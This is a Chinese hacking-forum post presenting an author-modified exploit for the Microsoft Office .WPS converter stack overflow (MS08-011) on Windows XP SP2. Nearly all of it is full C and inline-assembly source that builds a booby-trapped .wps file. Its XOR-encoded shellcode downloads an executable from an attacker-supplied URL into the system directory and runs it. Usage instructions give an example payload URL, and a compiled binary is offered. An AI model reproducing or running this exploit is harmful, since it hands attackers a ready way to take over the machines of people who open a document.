Microsoft Office .WPS Exploit (MS08-011)mika修改加强版
文章作者:mika
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
前两天就看到这个exp了,漏洞本身俺就不多说了,非常简单的栈溢出,exp都给了用od或者windbg跟一下就出来了,这里俺要非常感谢gyzy 哥哥对俺的帮助,当俺一拿到exp的时候就非常庆幸,感觉会很容易修改(事实也是如此),于是俺就修改了ret地址,然后把俺原来用的shellcode (下载执行的)替换exp里执行calc的,但是没有成功,word一闪而过,也没报错也没下载。然后再看了看原exp的shellcode,发现是 alpha2编码过的,于是俺想当然的以为俺的shellcode也得编码,可是编码发现还是不能运行而且出现错误了,俺单独把编码过的 shellcode拿出来执行却能成功,百思不得其解不得不求助俺bf,他让俺自己去找人请教,俺只好上qq求助gyzy哥哥了,哥哥就是哥哥啊,说 shellcode有问题于是给了俺一个lion牛牛写的那个经典的下载执行的shellcode,俺换上去一试果然就行了。痛苦啊!~~~在此向 gyzy还有lion哥哥们致敬!
关于这个漏洞的测试俺需要说明一下,漏洞是因为office在打开wps格式的文件进行转换时出现了漏洞,所以需要安装转换器。不过我在安装office 2003的时候默认是安装了转换器的。测试的时候先打开offie然后选择生成好的.wps文件即可(或者右键单击生成好的文件然后选择用winword打开)。
我添加了对简体中文和繁体中文系统的支持,在windows xp sp2+microsot office 2003 sp2上测试成功!
代码俺放在这里,非常简单:
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")
#define NOPS "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
// Use for find the ASM code
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90
__asm _emit 0x90 __asm _emit 0x90
__asm _emit 0x90 __asm _emit 0x90
__asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
#define SEARCH_STR "x90x90x90x90x90x90x90x90x90"
#define SEARCH_LEN 8
#define MAX_SC_LEN 2048
#define HASH_KEY 13
// Define Decode Parameter
#define DECODE_LEN 21
#define SC_LEN_OFFSET 7
#define ENC_KEY_OFFSET 11
#define ENC_KEY 0x99
// Define Function Addr
#define ADDR_LoadLibraryA [esi]
#define ADDR_GetSystemDirectoryA [esi+4]
#define ADDR_WinExec [esi+8]
#define ADDR_ExitProcess [esi+12]
#define ADDR_URLDownloadToFileA [esi+16]
//#define ADDR_URL edi
// Need functions
unsigned char functions[100][128] =
{ // [esi] stack layout
// kernel32 4 // 00 kernel32.dll
{"LoadLibraryA"}, // [esi]
{"GetTempPathA"}, // [esi+4]{"GetSystemDirectoryA"}
{"WinExec"}, // [esi+8]
{"ExitProcess"}, // [esi+12]
//("ExitThread"},
//{"TerminateProcess"},
// urlmon 1 // 01 urlmon.dll
{"URLDownloadToFileA"}, // [esi+16]
{""},
};
/* WPS Header */
unsigned char uszWpsHeader[] =
"xd0xcfx11xe0xa1xb1x1axe1x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x3ex00x03x00xfexffx09x00"
"x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00"
"x01x00x00x00x00x00x00x00x00x10x00x00x02x00x00x00"
"x01x00x00x00xfexffxffxffx00x00x00x00x00x00x00x00"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xfdxffxffxffxfexffxffxffxfexffxffxffx04x00x00x00"
"x05x00x00x00x06x00x00x00x07x00x00x00x08x00x00x00"
"xfexffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"x52x00x6fx00x6fx00x74x00x20x00x45x00x6ex00x74x00"
"x72x00x79x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x16x00x05x00xffxffxffxffxffxffxffxffx01x00x00x00"
"xb2x5axa4x0ex0ax9exd1x11xa4x07x00xc0x4fxb9x32xba"
"x00x00x00x00x00x00x00x00x00x00x00x00xd0x10xb9x5f"
"x53x8fxc7x01x03x00x00x00xc0x0ax00x00x00x00x00x00"
"x43x00x4fx00x4ex00x54x00x45x00x4ex00x54x00x53x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x12x00x02x01x02x00x00x00x03x00x00x00xffxffxffxff"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x0ax00x00x00x00x00x00"
"x01x00x43x00x6fx00x6dx00x70x00x4fx00x62x00x6ax00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x12x00x02x00xffxffxffxffxffxffxffxffxffxffxffxff"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x28x00x00x00x56x00x00x00x00x00x00x00"
"x53x00x50x00x45x00x4cx00x4cx00x49x00x4ex00x47x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x12x00x02x00xffxffxffxffxffxffxffxffxffxffxffxff"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x2ax00x00x00x10x00x00x00x00x00x00x00"
"x01x00x00x00x02x00x00x00x03x00x00x00x04x00x00x00"
"x05x00x00x00x06x00x00x00x07x00x00x00x08x00x00x00"
"x09x00x00x00x0ax00x00x00x0bx00x00x00x0cx00x00x00"
"x0dx00x00x00x0ex00x00x00x0fx00x00x00x10x00x00x00"
"x11x00x00x00x12x00x00x00x13x00x00x00x14x00x00x00"
"x15x00x00x00x16x00x00x00x17x00x00x00x18x00x00x00"
"x19x00x00x00x1ax00x00x00x1bx00x00x00x1cx00x00x00"
"x1dx00x00x00x1ex00x00x00x1fx00x00x00x20x00x00x00"
"x21x00x00x00x22x00x00x00x23x00x00x00x24x00x00x00"
"x25x00x00x00x26x00x00x00x27x00x00x00xfexffxffxff"
"x29x00x00x00xfexffxffxffxfexffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"x43x48x4ex4bx57x4bx53x20x04x00x08x00x0ex00x00x03"
"x00x02x00x00x00x0ax00x00xf8x01x0ex00xffxffxffxff"
"x18x00x54x45x58x54x00x00x2fx00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00";
char szIntro[] =
"[+] Targets: "
" (1) Windows XP SP2 ntdll.dll DE jmpesp "
" (2) Windows XP SP2 ntdll.dll CN&TW jmpesp "
"Usage: wps.exe <target> <file> <URL> "
".Ex:wps.exe 2 test.wps http://www.0x520.cn/test.exe ";
struct {
const char *szTarget;
unsigned char uszRet[5];
}targets[] = {
{"Windows XP SP2 DE ntdll.dll jmpesp", "xEDx1Ex94x7C"},/* jmp esp */
{"Windows XP SP2 CN&TW ntdll.dll jmpesp","xEDx1Ex96x7C"},
};
// Shellcode string
unsigned char sc[1024] = {0};
unsigned char url[256]={0};
// ASM shellcode main function
void ShellCode();
// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
DWORD h = 0;
while ( *c )
{
__asm ror h, HASH_KEY
h += *c++;
}
return( h );
}
void Make_ShellCode()
{
unsigned char *pSc_addr;
unsigned int Sc_len;
unsigned int Enc_key=ENC_KEY;
unsigned long dwHash[100];
unsigned int dwHashSize;
int i,j,k,l;
// Get functions hash
//printf("[+] Get functions hash strings. ");
for (i=0;;i++)
{
if (functions[i][0] == 'x0') break;
dwHash[i] = GetHash((char*)functions[i]);
//printf(" %.8X %s ", dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_SC_LEN;++k )
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
{
break;
}
}
pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode
for (k=0;k<MAX_SC_LEN;++k)
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
break;
}
}
Sc_len=k; // Length of the ShellCode
memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]
// Add functions hash
memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
Sc_len += dwHashSize;
// Add url
memcpy(sc+Sc_len, url, strlen(url)+1);
Sc_len += strlen(url)+1;
// Print the size of shellcode.
//printf("[+] %d + %d + %d = %d bytes shellcode ", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);
// Print shellcode
//PrintSc(sc, Sc_len);
// Deal with find the right XOR byte
for(i=0xff; i>0; i--)
{
l = 0;
for(j=DECODE_LEN; j<(int)Sc_len; j++)
{
if (
((sc[j] ^ i) == 0x26) || //%
((sc[j] ^ i) == 0x3d) || //=
((sc[j] ^ i) == 0x3f) || //?
((sc[j] ^ i) == 0x40) || //@
((sc[j] ^ i) == 0x00) ||
((sc[j] ^ i) == 0x0D) ||
((sc[j] ^ i) == 0x0A)
) // Define Bad Characters
{
l++; // If found the right XOR byte,l equals 0
break;
};
}
if (l==0)
{
Enc_key = i;
//printf("[+] Find XOR Byte: 0x%02X ", i);
for(j=DECODE_LEN; j<(int)Sc_len; j++)
{
sc[j] ^= Enc_key;
}
break; // If found the right XOR byte, Break
}
}
// Deal with not found XOR byte
if (l!=0)
{
printf("[-] No xor byte found! ");
exit(-1);
}
// Deal with DeCode string
*(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
*(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
// Print decode
//printf("/* %d bytes decode */ ", DECODE_LEN);
//PrintSc(sc, DECODE_LEN);
// Print shellcode
//printf("/* %d bytes shellcode, xor with 0x%02x */ ", Sc_len-DECODE_LEN, Enc_key);
//PrintSc((char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);
}
int main( int argc, char **argv ) {
WSADATA wsa;
FILE *f;
char szBuffer[1024*10];
WSAStartup(MAKEWORD(2,2),&wsa);
printf(" Microsoft Office .WPS Stack Overflow "
" Adam Walker (c) 2007 "
" Modified by Mika[EST] ");
if ( argc < 4 ) {
printf("%s ", szIntro );
return 0;
}
memcpy(url,argv[3],strlen(argv[3]));
printf("[+] download url:%s ", url);
printf("[+] Generating Shellcode... ");
Make_ShellCode();
memset(szBuffer, 0x90, 1024*10);
printf("[+] Creating WPS header... ");
memcpy( szBuffer, uszWpsHeader, sizeof( uszWpsHeader ) - 1 );
printf("[+] Copying addr && nops && shellcode... ");
memcpy( szBuffer + sizeof( uszWpsHeader ) - 1, targets[atoi(argv[1])-1].uszRet, 4 );
memcpy(szBuffer + sizeof( uszWpsHeader ) + 3,NOPS,16);
memcpy( szBuffer + sizeof( uszWpsHeader ) + 3+16, sc, sizeof( sc ) - 1 );
f = fopen( argv[2], "wb" );
if ( f == NULL ) {
printf("[-] Cannot create file ");
return 0;
}
fwrite( szBuffer, 1, sizeof( szBuffer) , f );
fclose( f );
printf("[+] .WPS file succesfully created! ");
printf("[+]Mika is telling you:don't play with fire!^_^ ");
return 0;
}
// ShellCode function
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
jmp short decode_end
decode_start:
pop ebx // Decode start addr (esp -> ebx)
dec ebx
xor ecx,ecx
mov cl,0xFF // Decode len
decode_loop:
xor byte ptr [ebx+ecx],0x99 // Decode key
loop decode_loop
jmp short decode_ok
decode_end:
call decode_start
decode_ok:
//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp -> edi)
// Get kernel32.dll base addr
mov eax, fs:0x30 // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
lodsd // eax = InInitOrder.blink
mov ebp, [eax+8] // ebp = kernel32.dll base address
mov esi, edi // Hash string start addr -> esi
// Get function addr of kernel32
push 4
pop ecx
getkernel32:
call GetProcAddress_fun
loop getkernel32
// Get function addr of urlmon
push 0x00006e6f
push 0x6d6c7275 // urlmon
push esp
call ADDR_LoadLibraryA // LoadLibraryA("urlmon");
mov ebp, eax // ebp = urlmon.dll base address
/*
push 1
pop ecx
geturlmon:
call GetProcAddress_fun
loop geturlmon
*/
call GetProcAddress_fun
// url start addr = edi
//LGetSystemDirectoryA:
sub esp, 0x300
mov ebx, esp
push ebx
push 0x300
call ADDR_GetSystemDirectoryA // GetSystemDirectoryA
//LURLDownloadToFileA:
// eax = system path size
// URLDownloadToFileA url save to a.exe
mov dword ptr [ebx+eax], 0x7261725C // "a.e"
mov dword ptr [ebx+eax+0x4], 0x6578652E // "xe"
xor eax, eax
push eax
push eax
push ebx // %systemdir%a.exe
push edi // url
push eax
call ADDR_URLDownloadToFileA // URLDownloadToFileA
//LWinExec:
mov ebx, esp
push eax
push ebx
call ADDR_WinExec // WinExec(%systemdir%a.exe);
Finished:
//push 1
call ADDR_ExitProcess // ExitProcess();
GetProcAddress_fun:
push ecx
push esi
mov esi, [ebp+0x3C] // e_lfanew
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
add esi, ebp // rva2va
push esi
mov esi, [esi+0x20] // AddressOfNames RVA
add esi, ebp // rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, HASH_KEY // hash key
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] // compare to hash
jnz short find_start
pop esi // ExportDirectory
mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
add ebx, ebp // rva2va
mov cx, [ebx+ecx*2] // FunctionOrdinal
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
add ebx, ebp // rva2va
mov eax, [ebx+ecx*4] // FunctionAddress RVA
add eax, ebp // rva2va
stosd // function address save to [edi]
pop esi
pop ecx
ret
sc_end:
call sc_start
PROC_END //C macro to end proc
}
}
编译好的程序俺也放上来了,用法很简单:
Microsoft Office .WPS Stack Overflow
Adam Walker (c) 2007
Modified by Mika[EST]
[+] Targets:
(1) Windows XP SP2 ntdll.dll DE jmpesp
(2) Windows XP SP2 ntdll.dll CN&TW jmpesp
Usage: wps.exe <target> <file> <URL>
.Ex:wps.exe 2 test.wps http://www.0x520.cn/test.exe
wps.exe 目标系统语言类型 要生成的文件 要下载执行的url地址
OK~~简单吧,欢迎大家继续修改加强!再次对帮助过俺的人表示感谢!
wps.rar(18.54 KB)